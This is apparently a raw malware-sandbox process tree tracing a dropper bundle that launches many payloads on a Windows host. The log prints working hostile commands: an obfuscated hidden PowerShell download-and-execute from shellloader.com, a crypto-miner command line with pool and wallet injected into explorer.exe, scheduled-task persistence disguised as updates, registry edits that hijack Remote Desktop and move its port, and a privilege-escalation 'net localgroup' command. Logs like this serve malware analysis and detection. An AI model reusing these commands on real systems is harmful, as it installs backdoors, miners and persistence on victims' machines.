Sun052bbd8bebd9.exe
6⤵
- Executes dropped EXE
PID:3964

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun05532f7abc.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3580

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05532f7abc.exe
Sun05532f7abc.exe
6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4228

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun05640630a6aa.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:3616

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05640630a6aa.exe
Sun05640630a6aa.exe
6⤵
- Executes dropped EXE
PID:4368

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun059375dac544fc4a.exe
5⤵
PID:3052

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun059375dac544fc4a.exe
Sun059375dac544fc4a.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3884

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
7⤵
- Executes dropped EXE
PID:2676

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
8⤵
- Executes dropped EXE
PID:4816

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:904

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:6380

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6256

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
10⤵
PID:8040

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
11⤵
- Creates scheduled task(s)
PID:6744

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
10⤵
- Executes dropped EXE
PID:4112

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
10⤵
PID:6976

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3444

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
9⤵
- Executes dropped EXE
PID:4588

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
10⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:6500

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
8⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:3316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 808
9⤵
- Program crash
PID:4160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 840
9⤵
- Program crash
PID:5108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 856
9⤵
- Program crash
PID:5160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 908
9⤵
- Program crash
PID:5300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 964
9⤵
- Program crash
PID:5524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 1200
9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:5920

C:\Users\Admin\AppData\Local\Temp\udptest.exe
"C:\Users\Admin\AppData\Local\Temp\udptest.exe"
8⤵
- Executes dropped EXE
PID:4496

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
8⤵
- Executes dropped EXE
PID:1424

C:\Users\Admin\AppData\Local\Temp\is-FJ1N3.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-FJ1N3.tmp\setup_2.tmp" /SL5="$3024C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
9⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5112

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
10⤵
PID:4596

C:\Users\Admin\AppData\Local\Temp\is-Q6SAC.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-Q6SAC.tmp\setup_2.tmp" /SL5="$40242,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
11⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:1212

C:\Users\Admin\AppData\Local\Temp\is-LI69D.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-LI69D.tmp\postback.exe" ss1
12⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3708

C:\Windows\SysWOW64\explorer.exe
explorer.exe ss1
13⤵
PID:5680

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
14⤵
PID:3320

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
15⤵
PID:64

C:\Users\Admin\AppData\Local\Temp\HcBaREMyl.exe
"C:\Users\Admin\AppData\Local\Temp\HcBaREMyl.exe"
14⤵
PID:3384

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im HcBaREMyl.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\HcBaREMyl.exe" & del C:\ProgramData\*.dll & exit
15⤵
PID:6872

C:\Windows\SysWOW64\taskkill.exe
taskkill /im HcBaREMyl.exe /f
16⤵
- Kills process with taskkill
PID:6824

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
16⤵
- Delays execution with timeout.exe
PID:7860

C:\Users\Admin\AppData\Local\Temp\dtQHSM97P.exe
"C:\Users\Admin\AppData\Local\Temp\dtQHSM97P.exe"
14⤵
- Executes dropped EXE
PID:7748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
15⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:772

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vhaufn2l\vhaufn2l.cmdline"
16⤵
PID:5184

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD8EC.tmp" "c:\Users\Admin\AppData\Local\Temp\vhaufn2l\CSCAE71F61E3257424DAAD39B9C61C4D2B5.TMP"
17⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
16⤵
PID:6252

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
16⤵
PID:2408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
16⤵
PID:5608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
16⤵
PID:6396

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
16⤵
- Modifies registry key
PID:5564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
16⤵
PID:8124

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
16⤵
PID:7040

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
17⤵
PID:7432

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
16⤵
PID:8020

C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
17⤵
- Blocklisted process makes network request
PID:5408

C:\Windows\SysWOW64\net.exe
net start rdpdr
18⤵
PID:7540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
19⤵
PID:6884

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
16⤵
PID:1276

C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
17⤵
PID:8180

C:\Windows\SysWOW64\net.exe
net start TermService
18⤵
PID:908

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
19⤵
PID:8144

C:\Users\Admin\AppData\Local\Temp\higqBtICw.exe
"C:\Users\Admin\AppData\Local\Temp\higqBtICw.exe"
14⤵
- Executes dropped EXE
PID:7848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
15⤵
- Drops file in Windows directory
PID:7300

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4kh3chto\4kh3chto.cmdline"
16⤵
PID:5300

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES773F.tmp" "c:\Users\Admin\AppData\Local\Temp\4kh3chto\CSC98CA146817DC4F1793F2B5332EB1EDE2.TMP"
17⤵
PID:6580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
16⤵
PID:8032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
16⤵
- Blocklisted process makes network request
PID:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
16⤵
PID:6124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
16⤵
PID:4732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
16⤵
- Modifies registry key
PID:7676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
16⤵
PID:7940

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
16⤵
PID:4664

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
17⤵
PID:4584

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
16⤵
PID:8044

C:\Windows\SysWOW64\cmd.exe
cmd /c net start rdpdr
17⤵
PID:2456

C:\Windows\SysWOW64\net.exe
net start rdpdr
18⤵
PID:6652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start rdpdr
19⤵
PID:5672

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
16⤵
PID:5072

C:\Windows\SysWOW64\cmd.exe
cmd /c net start TermService
17⤵
PID:4148

C:\Windows\SysWOW64\net.exe
net start TermService
18⤵
PID:5024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
19⤵
- Loads dropped DLL
PID:6364

C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:500

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
8⤵
- Executes dropped EXE
PID:748

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe"
8⤵
PID:4880

C:\Users\Admin\AppData\Local\Temp\3002.exe
"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
9⤵
- Executes dropped EXE
PID:1272

C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4920

C:\ProgramData\6718173.exe
"C:\ProgramData\6718173.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5256

C:\ProgramData\6718173.exe
"C:\ProgramData\6718173.exe"
10⤵
- Executes dropped EXE
PID:5820

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5256 -s 948
10⤵
- Program crash
PID:5948

C:\ProgramData\3738390.exe
"C:\ProgramData\3738390.exe"
9⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:1160

C:\ProgramData\8357891.exe
"C:\ProgramData\8357891.exe"
9⤵
- Executes dropped EXE
PID:420

C:\ProgramData\5107145.exe
"C:\ProgramData\5107145.exe"
9⤵
- Executes dropped EXE
PID:5408

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun05d60bc3b96248e5.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:772

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05d60bc3b96248e5.exe
Sun05d60bc3b96248e5.exe
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1832

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:5460

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:5872

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun05fa3b4d2ae56e.exe /mixone
5⤵
- Suspicious use of WriteProcessMemory
PID:3464

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05fa3b4d2ae56e.exe
Sun05fa3b4d2ae56e.exe /mixone
6⤵
- Executes dropped EXE
PID:3352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 656
7⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 672
7⤵
- Program crash
PID:1196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 632
7⤵
- Program crash
PID:3940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 696
7⤵
- Program crash
PID:5132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 908
7⤵
- Program crash
PID:5700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 936
7⤵
- Program crash
PID:5776

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun054fe19a12cb3.exe
5⤵
PID:4452

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun05899db881f67fb29.exe
5⤵
PID:3752

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Sun050462125c7d35.exe
5⤵
- Suspicious use of WriteProcessMemory
PID:4220

C:\Users\Admin\AppData\Local\Temp\D1C8.exe
C:\Users\Admin\AppData\Local\Temp\D1C8.exe
2⤵
- Executes dropped EXE
PID:8008

C:\Users\Admin\AppData\Local\Temp\888.exe
C:\Users\Admin\AppData\Local\Temp\888.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:7708

C:\Users\Admin\AppData\Local\Temp\888.exe
C:\Users\Admin\AppData\Local\Temp\888.exe
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4164

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be" /deny *S-1-1-0:(OI)(CI)(DE,DC)
4⤵
- Modifies file permissions
PID:7236

C:\Users\Admin\AppData\Local\Temp\888.exe
"C:\Users\Admin\AppData\Local\Temp\888.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5204

C:\Users\Admin\AppData\Local\Temp\888.exe
"C:\Users\Admin\AppData\Local\Temp\888.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Executes dropped EXE
- Modifies extensions of user files
PID:7632

C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build2.exe
"C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build2.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6960

C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build2.exe
"C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build2.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4972

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build2.exe" & del C:\ProgramData\*.dll & exit
8⤵
PID:6212

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
9⤵
- Kills process with taskkill
PID:752

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
9⤵
- Delays execution with timeout.exe
PID:7108

C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build3.exe
"C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build3.exe"
6⤵
- Suspicious use of SetThreadContext
PID:5932

C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build3.exe
"C:\Users\Admin\AppData\Local\ed9bf850-df0e-4b88-913d-f6806f03b139\build3.exe"
7⤵
PID:3908

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
8⤵
- Creates scheduled task(s)
PID:5360

C:\Users\Admin\AppData\Local\Temp\59B7.exe
C:\Users\Admin\AppData\Local\Temp\59B7.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6788

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\59B7.exe"
3⤵
PID:5440

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:6636

C:\Users\Admin\AppData\Local\Temp\PPozRbigAu.exe
"C:\Users\Admin\AppData\Local\Temp\PPozRbigAu.exe"
3⤵
PID:4608

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
4⤵
- Creates scheduled task(s)
PID:4600

C:\Users\Admin\AppData\Local\Temp\23CE.exe
C:\Users\Admin\AppData\Local\Temp\23CE.exe
2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2696

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
- Suspicious use of SetThreadContext
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3452

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1928

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1108

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:1048

C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe
2⤵
PID:4008

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\sihost.exe"
3⤵
- Creates scheduled task(s)
PID:6728

C:\Users\Admin\AppData\Roaming\ejsghbf
C:\Users\Admin\AppData\Roaming\ejsghbf
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5116

C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe
"C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe"
2⤵
- Suspicious use of SetWindowsHookEx
PID:6744

C:\Users\Admin\AppData\Roaming\ejsghbf
C:\Users\Admin\AppData\Roaming\ejsghbf
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7852

C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe
C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:2268

C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe
C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe --Task
3⤵
PID:2316

C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe
C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:4116

C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe
C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe --Task
3⤵
PID:4436

C:\Users\Admin\AppData\Roaming\ejsghbf
C:\Users\Admin\AppData\Roaming\ejsghbf
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:664

C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe
C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe --Task
2⤵
- Suspicious use of SetThreadContext
PID:6680

C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe
C:\Users\Admin\AppData\Local\9bf0f732-159c-4aba-b439-f2aa2602b9be\888.exe --Task
3⤵
PID:7412

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun050462125c7d35.exe
Sun050462125c7d35.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\ProgramData\5512997.exe
"C:\ProgramData\5512997.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4860

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
3⤵
- Executes dropped EXE
PID:3196

C:\ProgramData\426984.exe
"C:\ProgramData\426984.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2644 -s 1912
3⤵
- Program crash
PID:5660

C:\ProgramData\6571440.exe
"C:\ProgramData\6571440.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\ProgramData\4028085.exe
"C:\ProgramData\4028085.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5084

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05899db881f67fb29.exe
Sun05899db881f67fb29.exe
1⤵
- Executes dropped EXE
PID:4500

C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun054fe19a12cb3.exe
Sun054fe19a12cb3.exe
1⤵
- Executes dropped EXE
PID:3996

C:\Users\Admin\AppData\Local\Temp\is-VGC1A.tmp\Sun054fe19a12cb3.tmp
"C:\Users\Admin\AppData\Local\Temp\is-VGC1A.tmp\Sun054fe19a12cb3.tmp" /SL5="$6006C,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun054fe19a12cb3.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
PID:648

C:\Users\Admin\AppData\Local\Temp\is-GPULT.tmp\46807GHF____.exe
"C:\Users\Admin\AppData\Local\Temp\is-GPULT.tmp\46807GHF____.exe" /S /UID=burnerch2
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:1772

C:\Users\Admin\AppData\Local\Temp\SPQHYZMFUE\ultramediaburner.exe
"C:\Users\Admin\AppData\Local\Temp\SPQHYZMFUE\ultramediaburner.exe" /VERYSILENT
4⤵
- Executes dropped EXE
PID:5840

C:\Users\Admin\AppData\Local\Temp\is-TL2V7.tmp\ultramediaburner.tmp
